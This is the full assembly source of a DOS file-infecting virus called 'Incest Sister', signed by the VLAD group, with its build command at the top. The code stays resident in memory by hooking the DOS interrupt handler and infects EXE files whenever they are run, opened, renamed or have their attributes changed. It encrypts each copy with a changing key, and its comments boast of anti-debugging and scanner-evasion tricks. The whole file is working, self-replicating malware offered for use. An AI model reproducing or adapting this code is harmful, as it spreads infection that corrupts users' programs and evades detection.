; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Incest Sister Virus ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; Uses encryption. EXE infection only. I think it's 7XX bytes long. ; Unsure how long exactly... Manually allocates memory. TSR. ; Infects on Rename, Chmod, Open, Extended Open and Execute. ; Anti-debugging and Anti-heuristic code developed here. ; To add: Code efficiency. (Nah, fuck it! :) ; Assemble using 'a86 +o sister.asm', 'link sister;' dummy segment assume cs:dummy,ds:data_seg,ss:stack_seg dumb proc far dumdum: mov ax,4c00h ;The dummy infectee. int 21h ;When the virus finishes ;it returns here. dumb endp dummy ends stack_seg segment stack ;Stack segment db 1000 dup (0) stack_seg ends data_seg segment ;Another crappy segment of db 'stuff' ;no use to anyone... data_seg ends code_seg segment assume cs:code_seg,ds:data_seg,ss:stack_seg main proc far entry: call crap_ret ;Get IP return_here: ;Where the ret will return. mov word ptr cs:[si+offset orig_sp],sp ;Save the stack. mov word ptr cs:[si+offset orig_ss],ss mov word ptr cs:[si+offset quit], 20cdh ;Fuck all scanners. quit: cli ;Ints off while fucking with mov dx,cs ;the stack. mov ss,dx mov sp,si add sp,offset stackend sti ;Run decryption mov al,byte ptr cs:[si+encryptor] ;Setup the encryption. push si add si,offset enc_start call encrypt ;Decrypt. pop si ;Restore SI enc_start: ;Start encrypting here. ;do stuff push ax push bx push cx push dx ;Save everything. push ds push es push si push di ;Residency check goes in here... mov ah,61h ;Sis!(ter) mov di,'SI' mov bx,'S' int 21h cmp cx,'SI' jne not_installed cmp dx,'S' jne not_installed jmp jend ;Already in memory - exit. not_installed: xor ax,ax ;Segment 0... where the mov es,ax ;interrupt table lurks... mov ax,word ptr es:[132] ;Put int21 in i21... mov word ptr cs:[si+offset i21],ax mov word ptr cs:[si+offset int21_2],ax mov ax,word ptr es:[134] mov word ptr cs:[si+offset i21 +2],ax mov word ptr cs:[si+offset int21_2 + 2],ax ;Check for incest family marker here... mov ah,61h ;Sis!(ter) mov di,'IN' int 21h cmp di,'NI' jne not_incest mov word ptr cs:[si+offset int21_2],cx ;Pass through the mov word ptr cs:[si+offset int21_2+2],dx ;original int21h ;from another family ;member already ;resident. not_incest: ;Make the Virus go TSR! push cs pop es ;ES=CS mov ax,ds dec ax mov es,ax ;MCB segment. cmp byte ptr es:[0],5ah ;'Z' jne jend sub word ptr es:[3],120 sub word ptr es:[12h],120 ;120*16 bytes less memory. mov ax,es:[12h] ;Make our virus last chain mov es,ax mov byte ptr es:[0],5ah ;Setup our own MCB mov word ptr es:[1],8 ;Owner=DOS mov word ptr es:[3],1500 ;Segment size inc ax mov es,ax mov di,offset entry mov cx,length ;virus size push cs pop ds push si rep movsb ;Move virus. pop si mov bx,es ;Save virus segment xor ax,ax ;segment of vector table mov es,ax mov ax,offset infection ;change vector table to point cli mov word ptr es:[132],ax ;to our virus... mov word ptr es:[134],bx sti jend: pop di pop si pop es pop ds ;Restore all. pop dx pop cx pop bx pop ax ;add es,10h mov dx,es ;EXE starts at PSP+10h add dx,10h ;add original offset of cs in paragraphs. add word ptr cs:[si+jump+2],dx ;now you have your cs to jump to ;move it where we want it then jump to it. cli mov sp,word ptr cs:[si+orig_sp] ;Restore stack mov ss,word ptr cs:[si+orig_ss] sti xor dx,dx xor si,si db 0eah ;JMPF jump dw 0 dw 0 ;###### Here is the Details ###### Virus_Name db '[Incest Sister]',0 Author db 'by VLAD - Brisbane, OZ',0 infection proc far cmp ah,4bh ;Execute. je test_exe cmp ah,43h ;Chmod. je test_exe cmp ah,56h ;Rename. je test_exe cmp ax,6c00h ;Extended open. je test_exe cmp ah,3dh ;Normal open. je test_exe ;Residency test. cmp ah,61h jne not_testing cmp di,'SI' jne chk4incest cmp bx,'S' jne not_testing mov cx,'SI' mov dx,'S' ;Return test parameters. iret chk4incest: cmp di,'IN' jne not_testing mov di,'NI' ;Incest Marker... mov cx,word ptr cs:[int21_2] mov dx,word ptr cs:[int21_2 + 2] ;Pass original int21h out. iret not_testing: jmp far_tsr_end test_exe: push ax push bx push cx push dx push ds push es push si push di cmp ah,6ch ;Extended open. jne no_fix_6c mov dx,si ;Small alteration for 61h no_fix_6c: cld ;Clear Direction Flag. mov si,dx ;Filename being executed. dec si find_ascii_z: inc si cmp byte ptr ds:[si],0 ;Find end of ASCIIZ name. jne find_ascii_z sub si,4 ;Length of '.EXE' cmp word ptr ds:[si],'E.' je exe_found1 jmp f_pop_exit exe_found1: cmp word ptr ds:[si+2],'EX' ;Test for '.EXE' je exe_found2 really_crappy_pop_jump: jmp f_pop_exit ;Cant jxx 127+ bytes so use ;this... exe_found2: mov ax,3d02h ;Open! call int21h jc really_crappy_pop_jump mov bx,ax ;File handle. xor ax,ax mov es,ax mov ax,word ptr es:[144] mov word ptr cs:[i24],ax mov ax,word ptr es:[146] mov word ptr cs:[i24+2],ax ;Save int24h mov word ptr es:[144],offset int24h mov es:[146],cs ;Cool handler! ;read in header push cs pop ds ;DS=CS mov ax,5700h call int21h ;Save the file date for ;later use. mov filetime,cx ;File date and Time. mov filedate,dx mov ah,3fh mov cx,1ah mov dx,offset header ;Read the header in here. call int21h mov si,offset header ;Index to the header. cmp word ptr [si+12h],'SI' ;Our 'sister' marker. jne clean_file jmp far_close_exit clean_file: mov cx,word ptr [si] ;MZ header. add ch,cl ;Add M+Z = 167. cmp ch,167 je good_exe jmp far_close_exit ;convert headersize to bytes good_exe: mov ax,word ptr [si+8] mov cl,4 shl ax,cl ;Mul by 16 - paragraphs mov word ptr hsize,ax ;Header size in bytes. ;save original cs & ip for later use mov ax,word ptr [si+14h] mov word ptr jump,ax mov ax,word ptr [si+16h] mov word ptr jump+2,ax ;end of file mov ax,4202h ;Go to EOF. xor cx,cx xor dx,dx call int21h ;get file length ;convert length to paragraph/offset form sub ax,word ptr hsize sbb dx,0 mov cx,10h div cx ;write to header mov word ptr [si+14h],dx ;New IP/CS mov word ptr [si+16h],ax ;fix up encryption push si mov word ptr quit,8cfah ;Fixup from our 'int 20h' bit cmp byte ptr encryptor,0ffh jne not_zero inc byte ptr encryptor not_zero: inc byte ptr encryptor ;Change the encryptor to fuck mov al,byte ptr encryptor ;up all those signature ;scanners... push cs pop es mov si,offset entry ;Copy code to end of TSR mov di,offset stackend ;so we can encrypt it. mov cx,length ;Virus Size. rep movsb ;Move it! mov si,offset stackend ;Find the offset of add si,offset enc_start ;the encryption start. call encrypt ;Encrypt it. pop si ;Restore it. ;write virus to eof mov ah,40h mov cx,length ;Virus Size mov dx,offset stackend call int21h jc far_close_exit ;get new file length mov ax,4202h ;EOF again. xor cx,cx xor dx,dx call int21h ;work out number of pages and write to header push dx ;Save them. push ax mov cx,512 ;Page Size = 512. div cx inc ax mov word ptr [si+4],ax ; new file size pop ax pop dx sub ax,word ptr hsize sbb dx,0 mov cx,512 div cx mov word ptr [si+2],dx ;Size of last page. mov ax,4200h ;Start of file. xor cx,cx xor dx,dx call int21h mov word ptr [si+12h],'SI' ;Put Marker into header. mov ah,40h ;Write header. mov dx,offset header mov cx,1ah call int21h mov ax,5701h ;Restore file time. mov cx,filetime mov dx,filedate call int21h far_close_Exit: mov ah,3eh ;Close file. call int21h xor ax,ax mov es,ax ;Interrupt vector table at mov ax,word ptr cs:[i24] ;Segment 0. mov es:[144],ax mov ax,word ptr cs:[i24+2] mov es:[146],ax ;Reset int 24h f_pop_exit: pop di pop si pop es pop ds pop dx ;Restore everything. pop cx pop bx pop ax far_tsr_end: ; jmp dword ptr cs:[i21] db 0eah ;Self modifying code here. i21 dd 0 hsize dw 0 ;Header size in bytes. filedate dw 0 ;File date. filetime dw 0 ;File time. int24h proc near ;Stops embarassing error messages on write protected ;diskettes... mov al,3 iret int24h endp i24 dd 0 ;Original int24h int21h proc near ;False int21h pushf db 9ah ;'Call far ptr' opcode. int21_2 dd 0 ;Save second int 21h here... enc_end: ret int21h endp encrypt proc near ; SI = offset of bit to be encrypted. ; AL = encryptor. push cx mov cx,offset enc_end - offset enc_start enc_loop: xor byte ptr cs:[si],al inc si ror al,1 neg al loop enc_loop pop cx ret encrypt endp encryptor db 0 orig_sp dw 0 orig_ss dw 0 crap_ret proc near ;Crappy 'Ret' routine to get IP. mov bp,sp mov si,word ptr ss:[bp] ;SS:SP = IP sub si,offset return_here xor bp,bp ret crap_ret endp ;Storage for the EXE header. header: db 1ah dup (0) ;The temporary stack. stackseg db 100 dup (0) stackend db 0 ;Equ's! length equ offset header infection endp main endp code_seg ends end